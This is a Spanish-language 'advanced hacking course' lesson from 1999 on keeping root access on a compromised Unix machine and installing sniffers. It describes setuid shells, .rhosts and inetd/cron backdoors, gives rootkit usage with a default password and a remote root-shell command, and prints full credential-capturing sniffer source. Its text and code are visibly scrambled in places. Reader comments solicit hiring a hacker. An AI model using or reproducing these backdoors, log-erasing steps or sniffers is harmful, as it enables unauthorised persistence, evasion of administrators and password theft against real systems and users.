Curso de Hacking Avanzado - Preservar el acceso y poner sniffers

10 - Preservar el acceso y poner sniffers

[editar]
Curso gratis creado por Zonagratuita. Extraido de: http://www.zonagratuita.com
30 de Noviembre de 1999
Bueno, voy a dar cuatro matices sobre este tema. La idea es que tras haber conseguido un root es interesante instalar backdoors ( o mejor una rootkit que es un conjunto de backdoors y otras herramientas) para seguir teniendo acceso como root y no tener que repetir el proceso de entrar por una cuenta normal, ejecutar xploit, etc,...ya que esto es un coñazo.

Bueno, simplemente comento que hay backdoors para el telnetd, login, fingerd, y muchisimos mas, aunque lo que no hay que hacer es poner sushis o usar la tipica backdoor en el .rhosts o hosts.equiv ya que esos se notan mucho y nada mas que el root mire un poco su maquina se dara cuenta.

De todos modos, por ser metodos que se han usado mucho y que ademas es posible que algun dia tengas que usarlo si estas ante un sistema operativo raro, voy a explicarlos un poco.

Poner una sushi (set uid shell) consiste en que cuando seas root, hacer una copia de la shell, cambiarle el nombre y ponerle como owner al root y luego darle permisos 4755.

Es decir... haces:

Mv sh /directoriopublico

Cd directoriopublico

Mv sh cualquiera

chown root cualquiera

100 En este momento es importante señalar las diferencias entre UID (User Identification) y EUID (Efective User Identification), es decir, cuando ejecuteis la sushi tendreis como UID la que tuvieseis del usuario con el que habeis entrado pero tendreis como EUID=0, es decir que teneis privilegios de root para hacerlo todo pero sin embargo si por ejemplo haceis un who aparecera el UID de la cuenta con la que habeis entrado y no aparecereis como root... tened cuidado con este tema que a veces puede ocasionar lios con los permisos y owners de los ficheros. chsh Trojaned! User->r00t ps Trojaned! Hide processes rshd Trojaned! Remote access

chmod 4755 cualquiera

La gracia de esto es que el 4 indica que cualquiera que ejecute ese fichero tendra privilegios del owner de ese fichero. Asi, como el owner es el root y el fichero es una shell, obtendremos una shell de root con lo que cuando entremos a esta maquina como un usuario normal, simplemente iremos al directoriopublico, ejecutamos ./cualquiera y tendremos una shell de root.

Vale, hasta ahora todo muy bonito pero la desventaja de esto es que te la pueden localizar facilmente haciendo un find –perm 4000 ........ ya que con este comando busca ficheros que tengan estas caracteristicas del bit de setuid activado con lo que el root te puede pillar facilmente por lo que claramente es desaconsejable.

Otro metodo, aun pero es poner un + + en el .rhosts del root. Esto quiere decir que cualquiera que haga un rlogin al root desde cualquier maquina sera root sin necesidad de password.. es decir con rlogin –l root maquinavictima.com. Obviamente la desventaja de esto es que el root cuando vea un + + en su .rhosts te pillara y esto es de lo que mas canta por lo que tambien es claramente desaconsejable.

Ademas de esto hay programas que substituyen el fingerd, telnetd, login, etc para que cuando tu les des unos datos determinados te dejen entrar como root remotamente. Esta es una buena solucion aunque en algunos casos la longitud del fichero difiere mucho del real al troyano .. pero hay algun metodo mas que ya se comentara en otros textos para que no te pillen por este motivo. Estos troyanos estan en muchos de los lugares de la red asi ke dando un par de vueltas los encontrareis.. igualmente, es posible que esten en la misma maquina de donde os bajeis este texto. Obviamente no son adjuntados por no hacer esto mas grande, que ya se esta haciendo demasiado largo el textito de marras.. jeje

Ademas de meter troyanos, tambien hay backdoors usando el inetd, cron y demas.... su funcionamiento es bastante obvio... el inetd define los demonios que se arrancan asociados con cada puerto por lo ke puedes poner asociado a un puerto raro una shell de root... respecto al cron.. es un programa que te permite definir tareas que se repitan periodicamente... puedes hacer ke todos los dias a una hora dada se modifique el archivo /etc/passwd, o que ejecute un socket daemon o mil kosas mas... estas dos backdoors ofrecen muchas posibilidades.. la putada en contra de los troyanos es que nada mas que el root vea el inetd.conf ( en el caso del inetd) o el directorio cron se pueden dar cuenta facilmente.

Lo que es bastante interesante es instalar una rootkit ( el problema es que no estan hechas para muchos sistemas con lo que si te encuentras un sistema operativo para los que no las tienes te lo tienes que currar un poco mas :o(.. este paquete de programas te permiten desde ocultar procesos, ocultar directorios, borrar huellas, dejar mil backdoors, que te oculte en el netstat, que en el ifconfig no aparezca el famoso promiscuos si pones un sniffer, etc. es decir que dejas la maquina hecha un agujero. Obviamente, se puede definir que directorios quieres que te oculte, que backdoors quieres que te ponga, etc.

No la adjunto en este texto ya que es bastante grande pero no es dificil obtenerlas en la red. Adjunto aqui unos de los programas que modifica una rootkit cualquiera que he pillado.. en este caso es una de linux ( hay versiones posteriores del año 97 de esta rootkit):

chfn Trojaned! User->r00t

inetd Trojaned! Remote access

login Trojaned! Remote access

ls Trojaned! Hide files

du Trojaned! Hide files

ifconfig Trojaned! Hide sniffing

netstat Trojaned! Hide connections

passwd Trojaned! User->r00t

top Trojaned! Hide processes

syslogd Trojaned! Hide logs

linsniffer A kewl sniffz0r!

sniffit Another kewl sniffer!

101

enter your password. The format of /dev/ptyr is:

fix File fixer!

z2 Zap2 utmp/wtmp/lastlog eraser!

wted wtmp/utmp editor!

lled lastlog editor!

bindshell port/shell type daemon!

Y a continuacion su uso de manera breve:

OK I will go thru how to use each program one by one. NOTE when I say passwordI mean the rootkit password not your users password (doh!). By default therootkit password is lrkr0x.

chfn - Local user->root. Run chfn then when it asks you for a new name

chsh - Local user->root. Run chsh when it asks you for a new shell

enter your password.

inetd - Binds a shell to a port for remote access. hehe look at the

source if u want this one =)

login - Allows login to any account with the rootkit password.

If root login is refused on your terminal login as "rewt".

History logging is disabled if you login using your password.

ls - Trojaned to hide specified files and dirs.

Default data file is /dev/ptyr.

All files can be listed with 'ls -/'.

ptyr

hack.dir

w4r3z

ie. just the filenames. This would hide any files/dirs with the

names ptyr, hack.dir and w4r3z.

du - Same as ls, 'cept for du instead :)

ifconfig - Modified to remove PROMISC flag when sniffing.

netstat - Modified to remove tcp/udp/sockets from or to specified

addresses, uids and ports.

default data file: /dev/ptyq

command 0: hide uid

command 1: hide local address

command 2: hide remote address

command 3: hide local port

command 4: hide remote port

command 5: hide UNIX socket path

example:

0 500 <- Hides all connections by uid 500

1 128.31 <- Hides all local connections from 128.31.X.X

2 128.31.39.20 <- Hides all remote connections to 128.31.39.20

3 8000 <- Hides all local connections from port 8000

4 6667 <- Hides all remote connections to port 6667

5 .term/socket <- Hides all UNIX sockets including the path

.term/socket

Yeah eyem lazy. This is ira's description. Why bother thinking

up werds when someones already done it?

passwd - Local user->root. Enter your rootkit password instead of your

old password.

ps - Modified to remove specified processes.

102

I thought of this one when I was on a system which logged every connection.. I kept getting pissed off with editing 123.100.101.202 be erased by fix (unlike other versions).

Default data file is /dev/ptyp.

An example data file is as follows:

0 0 Strips all processes running under root

1 p0 Strips tty p0

2 sniffer Strips all programs with the name sniffer

Don't put in the comments, obviously.

top - Identical to ps, 'cept for top instead.

rshd - Execute remote commands as root.

Usage: rsh -l rootkitpassword host command

ie. rsh -l lrkr0x cert.org /bin/sh -i

would start a root shell.

syslogd - Modified to remove specified strings from logging.

files every time I connected to remove my hostname. Then I

thought 'Hey dude, why not trojan syslogd?!' and the rest

is history. :)

Default data file is /dev/ptys

Example data file:

evil.com

rshd

This would remove all logs containing the strings evil.com,

123.100.101.202 and rshd. Smart! :))

sniffit - An advanced network sniffer. This is pretty kewl and has lots

of filtering options and other stuff. Useful for targetting a

single host or net. Sniffit uses ncurses.

linsniffer - A kewl sniffer. This is smaller than sniffit and doesn't need

the ncurses libraries.

As CERT say, sniffing is responsible for more mass network

breakins than anything else in the 90's. P'raps they ain't

heard of Sendmail before hahahaha

fix - Replaces and fixes timestamp/checksum infomation on files.

I modified this a bit for my own uses and to fix a nasty bug

when replacing syslogd and inetd. The replacement file will

z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries

for a username. This can be detected since it just nulls the

entry out but no sysadmins know this, right?

wted - This does lots of stuff. U can view ALL the entries in a wtmp

or utmp type file, erase entries by username or hostname,

view zapped users (admins use a util similar to this to find

erased entries), erase zapped users etc.

lled - Basically the same as wted but for lastlog entries.

Creo que con esto queda suficientemente claro no? jeje

Como se puede ver, esta rootkit tiene de todo, unos cuantos troyanos, sniffer, borrador de huellas, inetd y login modificados para permitir acceso remoto, editores de wtmp y utmp, etc... en fin, como podeis ver si pillas root en una maquina e instalas una rootkit.. la maquina es tuya asi que no doy ideas.. jejejejejeje. Por cierto a fecha de hoy no encuentro rootkits para irix, aix, hp y demas por lo que si alguien tiene agradeceria que me lo comunicasen ( yo solo tengo de sun y de linux... y una para bsd pero que no rula muy bien :o( y currarse una es una kurrada :(

103 /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */ /* gatekeeper.dec.com

Ademas de lo que acabo de comentar, una vez tienes la maquina controlada, lo que has de hacer es poner un sniffer para conseguir mas cuentas ( que a veces tambien viene incluida en la rootkit) que se comenta a continuacion.

Nota previa:

La manera mas usual de conectar maquinas es usando Ethernel. El protocolo de Ethernet trabaja enviando la informacion en paquetes a las maquinas de la red. La cabecera del paquete contiene la direccion IP de la maquina destino. Solo la maquina que tiene este IP va a recibir este paquete en teoria, pero una maquina se puede poner en modo promiscuo de manera que reciba todos los paquetes que van por la red independientemente de lo que ponga en la cabecera como IP de destino.

Asi, basicamente un sniffer lo que hace es poner a la maquina en modo promiscuo, es decir, que la maquina acepta todos los paquetes que van por la red y no solo los que van destinados a ella.

La gracia de esto es que en una red normal ( sin usar metodos de encriptacion de passwords como el Kerberos) por la red rulan los paquetes con el login y passwd de otras maquinas con lo que conseguireis cuentas en otras maquinas sin hacer nada.. esta bien no?.

El problema es que se puede detectar facilmente si en una maquina hay un sniffer corriendo simplemente haciendo ifconfig –a (en general, aunque varia un poco para algunos sistemas) porque aparece un mensaje de que la maquina esta en promiscous mode... por lo que tendras que poner un troyano para el ifconfig porque si no, el root se percatara y se mosqueara. Recuerdo que en las rootkits vienen incluidos troyanos para el ifconfig.

Hay muchisimos sniffers, estos programas permiten muchas opciones como que te permiten sniffear algunos puertos o todos, buscar palabras en los paquetes, etc y los hay desde algunos muy cutres hasta otros comerciales. Algunos nombres son tcpdump, sniffit, esniff, websniff, linsniffer, solsniff, sunsniff, etc.. como veis hay muchos y para distintos sistemas operativos. He cogido de la phrack esta lista de sniffers para distintos sistemas operativos que supongo que sera de interes:

OS Sniffer

4.3/4.4 BSD tcpdump /* Available via anonymous ftp */

FreeBSD tcpdump /* Available via anonymous ftp at */

/* gatekeeper.dec.com

NetBSD tcpdump /* Available via anonymous ftp at */

/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */

DEC Unix tcpdump /* Available via anonymous ftp */

DEC Ultrix tcpdump /* Available via anonymous ftp */

HP/UX nettl (monitor) & netfmt (display)

nfswatch /* Available via anonymous ftp*/

Irix nfswatch /* Available via anonymous ftp*/

Etherman

Tcpdump /* Available via anonymous ftp */

SunOS etherfind

Nfswatch /* Available via anonymous ftp*/

tcpdump /* Available via anonymous ftp */

Solaris snoop

tcpdump

DOS ETHLOAD /* Available via anonymous ftp as*/

/* ethld104.zip*/

The Gobbler /* Available via anonymous ftp*/

LanPatrol

LanWatch

Netmon

Netwatch

Netzhack /* Available via anonymous ftp at*/

/* mistress.informatik.unibw-muenchen.de*/

/* /pub/netzhack.mac*/

Macintosh Etherpeek

104

{ if(count) c=count; else printf("."); initdevice(device, pflag)

Como veis el TCPDUMP es bastante interesante pero no lo adjunto en el texto por ser bastante grande. Este es un problema de este programa, que es un monitor de red muy potente pero tambien canta mucho si lo metes en una makina porke tiene muchos archivos y canta bastante al hacer un ps-axw por lo que es mejor evitar usarlo y si estas en una linux o sun, usar sniffers pequeñitos ke hay para esos sistemas operativos.

Aqui adjunto el codigo de un par de sniffers para que veais la forma que tienen aunque obviamente recuerdo que os hacen falta las librerias para que rulen:

/* ipl.c 1/3/95 by loq */

/* monitors ip packets for Linux */

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>

#define BUFLEN 8192

#define ETHLINKHDR 14

print_data(int count, char *buff)

int i,j,c;

int printnext=1;

{

if(count%16)

c=count+(16-count%16);

else c=count;

}

else

for(i=0;i<c;i++)

{

if(printnext) { printnext--; printf("%.4x ",i&0xffff); }

if(i<count)

printf("%3.2x",buff[i]&0xff);

else

printf(" ");

if(!((i+1)%8))

if((i+1)%16)

printf(" -");

else

{

printf(" ");

for(j=i-15;j<=i;j++)

if(j<count) {

if( (buff[j]&0xff) >= 0x20 &&

(buff[j]&0xff)<=0x7e)

printf("%c",buff[j]&0xff);

} else printf(" ");

printf("\n"); printnext=1;

}

}

}

int

105

char *device;

int pflag;

{

#define PROTO htons(0x0800) /* Ethernet code for IP protocol */

int if_fd=0;

struct ifreq ifr;

if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {

perror("Can't get socket");

exit(2);

}

strcpy(ifr.ifr_name, device); /* interface we're gonna use */

if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) { /* get flags */

close(if_fd);

perror("Can't get flags");

exit(2);

}

#if 1

if ( pflag )

ifr.ifr_flags |= IFF_PROMISC; /* set promiscuous mode */

else

ifr.ifr_flags &= ~(IFF_PROMISC);

#endif return if_fd; } struct etherpacket { #if 0 struct etherpacket ep; struct iphdr *ip;

if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) { /* set flags */

close(if_fd);

perror("Can't set flags");

exit(2);

}

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char data[8192];

};

main()

{

int linktype;

int if_eth_fd=initdevice("eth0",1);

int if_ppp_fd=initdevice("sl0",1);

#endif

struct sockaddr dest;

struct tcphdr *tcp;

struct timeval timeout;

fd_set rd,wr;

int dlen;

#if 0

struct slcompress *slc=slhc_init(64,64);

#endif

for(;;)

{

bzero(&dest,sizeof(dest));

dlen=0;

FD_ZERO(&rd);

FD_ZERO(&wr);

FD_SET(if_eth_fd,&rd);

106

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); timeout.tv_sec=10; { #if 0

#if 0

FD_SET(if_ppp_fd,&rd);

#endif

timeout.tv_sec=0;

timeout.tv_usec=0;

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

while(timeout.tv_sec
0 && timeout.tv_usec
0)

{

timeout.tv_usec=0;

select(20,&rd,&wr,NULL,&timeout);

if(FD_ISSET(if_eth_fd,&rd))

{

printf("eth\n");

recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);

}

#if 0

else

if(FD_ISSET(if_ppp_fd,&rd))

recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);

printf("ppp\n");

}

#endif

}

printf("proto: %.4x",ntohs(ep.eth.h_proto));

if(ep.eth.h_proto
ntohs(8053))
{

slhc_uncompress(slc,&ep,sizeof(ep));

}

#endif

if(ep.eth.h_proto
ntohs(ETH_P_IP))
{

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",

ep.eth.h_source[0],ep.eth.h_source[1],

ep.eth.h_source[2],ep.eth.h_source[3],

ep.eth.h_source[4],ep.eth.h_source[5]);

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",

ep.eth.h_dest[0],ep.eth.h_dest[1],

ep.eth.h_dest[2],ep.eth.h_dest[3],

ep.eth.h_dest[4],ep.eth.h_dest[5]);

printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));

printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));

print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),

ep.data-2);

}

}

}

Tambien pongo un sniffer generico para ethernet que aparecio en la PHRACK que esta diseñado para trabajar en SunOs, es muy pequeño y solo captura los primeros 300 bytes de todas las sesiones de telnet, ftp o rlogin:

/* [JOIN THE POSSE!] */

/* Esniff.c */

107

#include <arpa/inet.h> { perror(msg);

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define NIT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = -1;

int Packet[CHUNKSIZE+32];

void Pexit(err,msg)

int err; char *msg;

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip->ip_len))

#define IPHLEN (ip->ip_hl)

#define TCPOFF (tcph->th_off)

#define IPS (ip->ip_src)

#define IPD (ip->ip_dst)

#define TCPS (tcph->th_sport)

#define TCPD (tcph->th_dport)

#define IPeq(s,t) ((s).s_addr
(t).s_addr)
108

switch(port) { }

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFLEN+2]; /* important stuff :-) */

u_int Length; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH,'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf,"%u",port); p=buf; break;

return(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip " YYYY\n" */

return(p);

}

109

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLroot = CLtmp; \ break; break; \

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp->Time) ); \

CLtmp->SRCip.s_addr = SIP.s_addr; \

CLtmp->DSTip.s_addr = DIP.s_addr; \

CLtmp->SRCport = SPORT; \

CLtmp->DSTport = DPORT; \

CLtmp->Length = MIN(LEN,MAXBUFLEN); \

CLtmp->PKcnt = 1; \

CLtmp->Next = CLroot; \

CLtmp->Last = NULL; \

}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {

if( (CLr->SRCport
SP) && (CLr->DSTport
DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

CLr = CLr->Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \

CL->Length += LEN; \

}

#define PR_DATA(dp,ln) { \

register u_char lastc=0; \

while(ln-- >0) { \

if(*dp < 32) { \

switch(*dp) { \

case '\0': if((lastc
'\r') || (lastc
'\n') || lastc
'\0') \

break; \

case '\r': \

case '\n': fprintf(LOG,"\n : "); \

break; \

default : fprintf(LOG,"^%c", (*dp + 64)); \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,"(%d)",*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

110

fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); register struct CREC *CLe,*CLt = CLroot; \ if(CLe->Time <tm) \ void filter(cp, pktlen) register struct ip *ip;

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));

fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);

fprintf(LOG," DATA: ");

{ register u_int i = CLe->Length;

register u_char *p = CLe->Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG,"\n-- \n");

fflush(LOG);

if(CLe->Next != NULL)

CLe->Next->Last = CLe->Last;

if(CLe->Last != NULL)

CLe->Last->Next = CLe->Next;

else

CLroot = CLe->Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \

while(CLe=CLt) { \

CLt=CLe->Next; \

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \

} \

} \

}

register char *cp;

register u_int pktlen;

{

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen-=8;

}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

111

if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { }

/* ugh, gotta do an alignment :-( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD
IPPORT_TELNET) ||
(TCPD
IPPORT_LOGINSERVER) ||
(TCPD
IPPORT_FTP)
)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));

register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);

fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));

fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

}

CLm->PKcnt++;

if(length>0)

if( (CLm->Length + length) < MAXBUFLEN ) {

ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, "DATA LIMIT");

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

}

} else {

if(TCPFL(TH_SYN)) {

ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());

fflush(LOG);

if(LOG != stdout)

fclose(LOG);

112

exit(1);

}

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)

Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)

Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)

Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));

ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0)

Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)

Pexit(1,"Eth: ioctl (I_FLUSH)");

}

113

} /* Authorize your proogie,generate your own password and uncomment here */

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {

register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp->nhb_totlen;

filter(cp, (u_long)hdrp->nhb_msglen);

}

}

Pexit((-1),"Eth: read");

/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,"(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0]
'-')) {
register char ch = argv[ac++][1];

switch(toupper(ch)) {

case 'I': device=argv[ac++];

break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))

Zexit(1,"Output file cant be opened\n");

break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

default : fprintf(ERR,

"Usage: %s [-b] [-d] [-i interface] [-f file]\n",

ProgName);

exit(1);

}

}

if(!device) {

114

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)

Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)

Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req->ifr_name;

}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);

fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",

(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

if(backg && debug) {

fprintf(ERR,"[Cannot bg with debug on]\n");

backg=0;

}

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,"[pid %d]\n",s);

exit(0);

} else if(s<0)

Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {

ioctl(s,TIOCNOTTY,(char *)NULL);

close(s);

}

}

fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());

fflush(LOG);

do_it();

}

Lo que se ha de tener en cuenta cuando instalas un sniffer en una maquina es que como es logico, si hay mucho trafico de paquetes en esa maquina y no seleccionais bien la forma de filtrar que info queda en el log y cual no, se pueden generar ficheros de logs grandisimos por lo que este es un factor muy a tener en cuenta porque a veces si te equivocas.. se crea un fichero grandisimo, el root se percata y a la mierda todo el trabajo :o(

Dependiendo de la makina y su trafico puede ser suficiente mirar los logs cada semana mas o menos o cada dos. Tambien, si eres comodo puedes usar un cronjob que te mailee los logs, pero eso kanta mas :)
[editar]

23 opiniones

busco hacker

hola soy de monterrey nuevoleon mexico y tengo un trabajo para alguen que lo pueda hacer obvio tendramos que quedar deacuerdo con el costo del servicio el trabajo es sencillo pero yo no lo puedo hacer si te interesa comunicate a este mail ehitehel@hotmail.com
Buen curso.

Creo que se entiende mas o menos bien. Por cierto al desgraciado que se anuncia porque vende contraseñas de correos hotmail a ver sile hecha el guante la policía.
Hackear hotmail.

